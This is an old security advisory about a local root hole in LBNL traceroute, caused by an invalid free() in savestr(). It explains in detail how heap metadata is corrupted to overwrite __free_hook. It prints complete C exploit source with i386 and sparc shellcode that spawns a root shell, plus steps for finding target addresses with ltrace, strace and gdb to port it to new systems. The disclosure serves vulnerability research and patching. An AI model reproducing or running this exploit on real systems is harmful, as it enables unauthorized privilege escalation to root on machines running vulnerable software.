COMMAND

    traceroute

SYSTEMS AFFECTED

    LBNL traceroute

PROBLEM

    Michel Kaempf  found following.   Due to  a wrong  call to free(),
    LBNL  (Lawrence  Berkeley  National  Laboratory) traceroute can be
    exploited by a malicious local  user in order to gain  root access
    to the system.  The vulnerability was discovered by Pekka  Savola,
    first discussed by Chris  Evans on the security-audit  and bugtraq
    lists, and finally exploited by Dvorak in his post to the  bugtraq
    list.  For more info see:

        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/troute3.html

    Michel was working on the problem when Dvorak released his exploit
    to the  bugtraq list.   However, he  decided to  continue his  own
    exploit, because he  needed a simple  and working exploit  on both
    big and little endian architectures.

    A  vulnerable  version  of  traceroute  dies  with  a segmentation
    violation when  running `traceroute  -g 12  -g 42'.   When looking
    closer at the traceroute  sources, the guilty sequence  appears to
    be:

        ...
        name = savestr("12");
        ...
        free(name);
        ...
        name = savestr("42");
        ...
        free(name);

    At  this  point,  the  segmentation  fault  occurs.  The savestr()
    function is "a replacement for strdup() that cuts down on malloc()
    overhead".  How does savestr()  work internally, and why does  the
    second call to free() end with a segmentation violation?

    When savestr("12")  is called,  a 1024  bytes buffer  is allocated
    thanks to  malloc().   The pointer  returned by  malloc() will  be
    called p  from now  on.   The "12"  string is  then stored  at the
    beginning of this buffer, and the static pointer strptr is updated
    in order  to point  after this  null terminated  "12" string (i.e.
    strptr =  p +  strlen("12") +  1). savestr()  finally returns  the
    pointer p.

    When free() is  called for the  first time, the  1024 bytes buffer
    allocated thanks  to malloc()  and beginning  at the  pointer p is
    freed.

    When savestr("42")  is called,  the "42"  string is  stored in the
    previously freed 1024 bytes  buffer, at the position  described by
    the static pointer strptr (p + strlen("12") + 1).  This is already
    a problem, but not  an exploitable one. savestr()  finally returns
    the pointer (p + strlen("12") + 1).

    When free() is called  for the second time,  it tries to free  the
    buffer located  at (p  + strlen("12")  + 1).   Unfortunately, this
    pointer was not returned by malloc(), and that's why this call  to
    free() dies with a segmentation fault.

    The  second  call  to  free()   can  be  exploited.   The   malloc
    implementation used by  most Linux systems  is Doug Lea's  malloc,
    and works as follows:

        - Free  and  allocated  blocks  of  memory  are  described  by
          "chunks", beginning at 8  bytes before the pointer  returned
          to  the  user  by  malloc()  or  given by the user to free()
          (called mem in the picture below).
        - In the first  4 bytes of a  chunk is stored the  size of the
          previous chunk (called prev_size  in the picture below),  if
          allocated.
        - In the  next 4 bytes  is stored the  size (in bytes)  of the
          chunk itself  (called size  in the  picture below),  but the
          PREV_INUSE and IS_MMAPPED bits of this integer have  special
          meanings.
        - Free chunks are stored in circular doubly-linked lists:  the
          4 bytes  after size  contain a  forward pointer  to the next
          chunk in the list (called fd in the picture below), and  the
          next 4 bytes  contain a back  pointer to the  previous chunk
          in the list (called bk in the picture below).

        +-----------+----------+----------+----------+--------------------------
        | prev_size |   size   |    fd    |    bk    | ...
        +-----------+----------+----------+----------+--------------------------
        ^                      ^
        chunk                  mem

    When running `traceroute -g 123 -g gateway host hell code',  where
    gateway, host, hell and code  are strings which will be  described
    later, the second call to free(), discussed previously, will  look
    like this:

        +-----------+----------+-----+-----+-----+------+-----------------------
        | prev_size |   size   | '1' | '2' | '3' | '\0' | ...
        +-----------+----------+-----+-----+-----+------+-----------------------
                    ^          ^                        ^
                chunk          p               mem (the pointer given to free())

    Fortunately, the  four bytes  before the  pointer given  to free()
    will  in  fact  *not*  be  the  four  bytes of the null terminated
    string "123", but the binary IP address corresponding to  gateway,
    because  of  a  calloc()  call  in  traceroute, between the second
    savestr() call and the second  free() call. Nice.  If  this binary
    IP address is  constructed so that  the PREV_INUSE bit  is set and
    the IS_MMAPPED bit is unset,  the second call to free()  will look
    like this:

        chunk = mem2chunk(mem);
        // equivalent to chunk = mem - 8, or chunk = p - 4 here

        if (chunk_is_mmapped(chunk)) {
	        ...
        }
        // will not be executed since IS_MMAPPED is unset

        hd = chunk->size;
        sz = hd & ~PREV_INUSE;
        // PREV_INUSE is discarded when computing the real size of the chunk

        next = chunk_at_offset(chunk, sz);
        // equivalent to next = chunk + sz

        nextsz = chunksize(next);
        // equivalent to nextsz = next->size & ~(PREV_INUSE|IS_MMAPPED)

        if (!(hd & PREV_INUSE)) {
	        ...
        }
        // will no be executed since PREV_INUSE is set

        if (!(inuse_bit_at_offset(next, nextsz))) {
        // equivalent to if (!( (next + nextsz)->size & PREV_INUSE )) {
	        ...
        }
        // this block will be executed if the next chunk is built wisely...
        // *must* be executed, because it is where the exploit does the trick

    So,  the  next  chunk  has  to  be constructed wisely, and will be
    stored  on  the  stack,  thanks  to  the  host  argument  given to
    traceroute.  This host argument should also be padded in order  to
    be  aligned  on  the  stack  (processors like sparc always require
    alignment).

    The gateway argument should be  chosen so that next points  to the
    host argument  on the  stack, and  so that  PREV_INUSE is  set and
    IS_MMAPPED  is  unset.   Fortunately,  if  host  is aligned on the
    stack, IS_MMAPPED will be unset,  and PREV_INUSE can be set  since
    free()  discards  this  bit  when  computing  the real size of the
    chunk.

    Finally,  the  hell  and  code  arguments given to traceroute will
    contain  the  shellcode,  and  should  be  padded  so that hell is
    aligned on  the stack.  Why was  the shellcode  separated into two
    parts?  Well, read on.

    Now, how  should the  host argument  be constructed,  so that  the
    block discussed previously  will be executed?   The host  argument
    will look like this:

        AAAABBBBCCCCDDDDEEEEXXX

    BBBB will contain the prev_size  of the next chunk, CCCC  the size
    of the next chunk,  DDDD the fd pointer  and EEEE the bk  pointer.
    XXX is  used for  padding, because  if the  argument following the
    host argument on  the stack (hell)  is 4 bytes  aligned, host will
    also be  4 bytes  aligned, thanks  to this  null terminated string
    "XXX".   Finally,  AAAA  was  added  because  these 4 bytes of the
    stack will be overwritten by free().

    If  CCCC  (next->size)  is  equal  to  0xffffffff,  the  call   to
    inuse_bit_at_offset() discussed previously  will be equivalent  to
    (BBBB  &  PREV_INUSE).   This  test  should  fail,  and that's why
    setting BBBB to  (0xffffffff & ~PREV_INUSE)  should do the  trick.
    What  else?   Well,  the  DDDD  and  EEEE  bytes,  the  fd  and bk
    pointers... Once the inuse_bit_at_offset() test completed,  free()
    runs the following macro:

        unlink(next, bck, fwd);

        Where unlink() looks like this:

        #define unlink(P, BK, FD)                                              \
        {                                                                      \
	        BK = P->bk;                                                    \
	        FD = P->fd;                                                    \
	        FD->bk = BK;                                                   \
	        BK->fd = FD;                                                   \
        }

    Wow, thanks to  unlink(), a function  pointer stored somewhere  in
    the memory can be overwritten  with a pointer to the  shellcode...
    __free_hook  is  a  nice  one  (thank  you Solar Designer).  After
    unlink(), the  next call  to free()  should execute  the shellcode
    and lead to root.

    The fd  and bk  pointers should  be built  carefully.   The memory
    address given by ((unsigned int *)fd)[3] will be overwritten  with
    the  memory  address  given  by  bk,  that's  why  setting  fd  to
    (&__free_hook - 12) and bk to the address of the hell argument  on
    the stack is a  good choice.  But, because  there is always a but,
    the  memory  address  given  by  ((unsigned int *)bk)[2] (i.e. the
    bytes 8, 9, 10 and 11 of the shellcode) will also be overwritten.

    That's why  the beginning  of the  shellcode should  jump these  4
    garbage bytes.   This is  easy on  i386 architectures,  where  one
    byte can be used  for the jump instruction,  and one byte for  the
    number of bytes to  be jumped.  On  sparc processors, 4 bytes  are
    needed for the jump instruction  and the number of 4  bytes blocks
    to  be  jumped,  and  the  next  4  bytes  should  describe  a nop
    instruction, because of the sparc  pipeline.  But the number  of 4
    bytes blocks  to be  jumped will  contain a  null byte, and that's
    impossible: the shellcode is a string, and a null byte in a string
    corresponds to a string terminator.

    The solution? The following exploit divides the shellcode into two
    parts, hell and code, so that the null byte terminator of the hell
    string can be used as part of the sparc jump instruction.  And for
    architectures  where  this  null  byte  is  not required, the jump
    instruction located in the  hell argument will automagically  skip
    the hell null byte terminator.

    /*
     * MasterSecuritY <www.mastersecurity.fr>
     *
     * traceroot.c - Local root exploit in LBNL traceroute
     * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
     *
     * Updated versions of this exploit and the corresponding advisory will
     * be made available at:
     *
     * ftp://maxx.via.ecp.fr/traceroot/
     *
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    #define PREV_INUSE 0x1
    #define IS_MMAPPED 0x2

    #define i386_linux \
	    /* setuid( 0 ); */ \
	    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
	    /* setgid( 0 ); */ \
	    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
	    /* Aleph One :) */ \
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
	    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
	    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

    #define sparc_linux \
	    /* setuid( 0 ); */ \
	    "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \
	    /* setgid( 0 ); */ \
	    "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \
	    /* Aleph One :) */ \
	    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \
	    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \
	    "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10"

    struct arch {
	    char *		description;
	    char *		filename;
	    unsigned int	stack;
	    char *		hell;
	    char *		code;
	    unsigned int	p;
	    unsigned int	__free_hook;
    };

    struct arch archlist[] = {
	    {
		    "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386",
		    "/usr/sbin/traceroute",
		    0xc0000000 - 4,
		    "\xeb\x0aXXYYYYZZZ",
		    i386_linux,
		    0x0804ce38,
		    0x400f1cd8
	    },
	    {
		    "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc",
		    "/usr/sbin/traceroute",
		    0xf0000000 - 8,
		    "\x10\x80",
		    "\x03\x01XXXYYYY" sparc_linux,
		    0x00025598,
		    0x70152c34
	    }
    };

    void usage( char * string )
    {
	    int i;

	    fprintf( stderr, "Usage: %s architecture\n", string );
	    fprintf( stderr, "Available architectures:\n" );
	    for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) {
		    fprintf( stderr, "%i: %s\n", i, archlist[i].description );
	    }
    }

    int main( int argc, char * argv[] )
    {
	    char		gateway[1337];
	    char		host[1337];
	    char		hell[1337];
	    char		code[1337];
	    char *		execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code, NULL };
	    int		i;
	    struct arch *	arch;
	    unsigned int	hellcode;
	    unsigned int	size;

	    if ( argc != 2 ) {
		    usage( argv[0] );
		    return( -1 );
	    }
	    i = atoi( argv[1] );
	    if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) {
		    usage( argv[0] );
		    return( -1 );
	    }
	    arch = &( archlist[i] );

	    execve_argv[0] = arch->filename;

	    strcpy( code, arch->code );
	    strcpy( hell, arch->hell );
	    hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) - (strlen(hell) + 1);
	    for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) {
		    strcat( code, "X" );
	    }
	    hellcode = hellcode & ~3;

	    strcpy( host, "AAAABBBBCCCCDDDDEEEEXXX" );
	    ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
	    ((unsigned int *)host)[2] = 0xffffffff;
	    ((unsigned int *)host)[3] = arch->__free_hook - 12;
	    ((unsigned int *)host)[4] = hellcode;

	    size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4);
	    size = size | PREV_INUSE;
	    sprintf(
		    gateway,
		    "0x%02x.0x%02x.0x%02x.0x%02x",
		    ((unsigned char *)(&size))[0],
		    ((unsigned char *)(&size))[1],
		    ((unsigned char *)(&size))[2],
		    ((unsigned char *)(&size))[3]
	    );

	    execve( execve_argv[0], execve_argv, NULL );

	    return( -1 );
    }

    The exploit was  written to easily  include new architectures  and
    operating systems.  In order to support new platforms, 7 different
    elements are needed:

    - description, a  string describing the  concerned platform.   For
      the  moment,  only  "Debian  GNU/Linux  2.2 (traceroute 1.4a5-2)
      i386" and "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc"  are
      supported.
    - filename, a string containing the full path where the traceroute
      binary  can   be  found.    On  most   systems,  this   will  be
      "/usr/sbin/traceroute".
    - stack, the address where  the first argument given to  a program
      (the program name itself)  can be found. On  i386 architectures,
      this  is  0xc0000000   -  4,  on   sparc  architectures  it   is
      0xf0000000 - 8.
    - hell  and code,  a special  shellcode divided  into two parts...
      see the discussion above.   hell and code are already  available
      for i386 and sparc processors.
    - p,  the  pointer  returned  to  the  savestr()  function by the
      malloc(1024) call.  On architectures where ltrace is  available,
      this pointer can be easily obtained:

        % cp /usr/sbin/traceroute /tmp
        % ltrace /tmp/traceroute -g 12 -g 42 2>&1 | grep 'malloc(1024)'
        malloc(1024)                                      = 0x0804ce38

      On architectures were ltrace is not  available (like sparc), the
      whole thing  is trickier:  download the  traceroute sources, and
      add  the  following  line  in  savestr.c, after the malloc(1024)
      call:

        fprintf( stderr, "debug: strptr == %p;\n", strptr );

      Now, compile traceroute, and run it through strace:

        % strace ./traceroute -g 12 -g 42

      Compute the difference between the pointer returned by the debug
      message and  the pointer returned by  brk(0).   Now run the real
      traceroute through strace:

        % cp /usr/sbin/traceroute /tmp
        % strace /tmp/traceroot -g 12 -g 42 2>&1 | grep 'brk(0)'
        brk(0)                                  = 0x22418

      Now add the difference computed before to this pointer, and yes,
      the resulting pointer is p.
    - __free_hook,  the memory  address were  the __free_hook function
      pointer is stored.  Use GDB in  order to find  out the value  of
      this last element:

        % cp /usr/sbin/traceroute /tmp
        % gdb /tmp/traceroute
        (gdb) break exit
        (gdb) run
        (gdb) p &__free_hook

    It  is  as  simple  as  that.  Feel  free  to send support for new
    architectures so that it can  be included in the official  version
    of the exploit, available at:

        ftp://maxx.via.ecp.fr/traceroot/

    Note  that   version  of   the  exploit   above  containes   minor
    imperfections,  and  will  not  work  against systems protected by
    the Linux  kernel patches  from the  Openwall Project  or the  PaX
    Team.   These three  issues are  discussed in  this second part of
    the advisory.

    The new version of the traceroute exploit is available at:

        ftp://maxx.via.ecp.fr/traceroot/traceroot2.c

    Two minor imperfections were fixed:
    - The memory  address of the  function pointer overwritten  by the
      exploit,  __free_hook,  was  part  of  the arch structure in the
      first version.   However, this address  will not necessarily  be
      the  same  on  two  different  computers  running  the very same
      operating system.  This memory address was removed from the arch
      structure, and  is now  provided by  the user  thanks to the new
      victim command line argument.
    - The first version of the exploit was unable to detect null bytes
      in the structures it built.  The new version of the exploit will
      return an error if null bytes are found.

    A  workaround  exists:  the  structures  can  be  split  into many
    pieces, allowing null  bytes thanks to  the string terminators  of
    the command  line arguments  passed to  traceroute.   However, the
    case  where  null  bytes  were  present,  and where no other valid
    victim could  be chosen  was never  encountered, and  that is  why
    the  workaround  was  not  implemented.   Moreover, "Red Hat Linux
    release 6.2 (traceroute 1.4a5) i386" support was added.

    An  exploit  against  i386  patched  systems,  which  stores   the
    shellcode in  the heap  instead of  the stack,  was written and is
    available at:

        ftp://maxx.via.ecp.fr/traceroot/openwall.c

    The return-into-libc technique,  or any other  technique virtually
    possible against PaX, will not  work against traceroute.  The  PaX
    patch is available at:

        http://pageexec.virtualave.net/

    When  the  exploit  overwrites  the  pointer  stored at the memory
    address foo with the pointer  bar, it also overwrites the  pointer
    stored  at  the  memory  address  bar  with  the  pointer foo (not
    exactly, two offsets are involved  in this process, check out  the
    first part of the advisory, or the unlink() macro used by  free(),
    for more information).  This is why  a rwx memory  page is needed,
    and (un)fortunately, PaX removes these pages.

SOLUTION

    Every vendor  should already  have released  a patched  version of
    traceroute  since  the  vulnerability  was published and exploited
    about a month ago.  But  anyway, a fixed version of traceroute  is
    available at:

        ftp://ftp.ee.lbl.gov/traceroute.tar.gz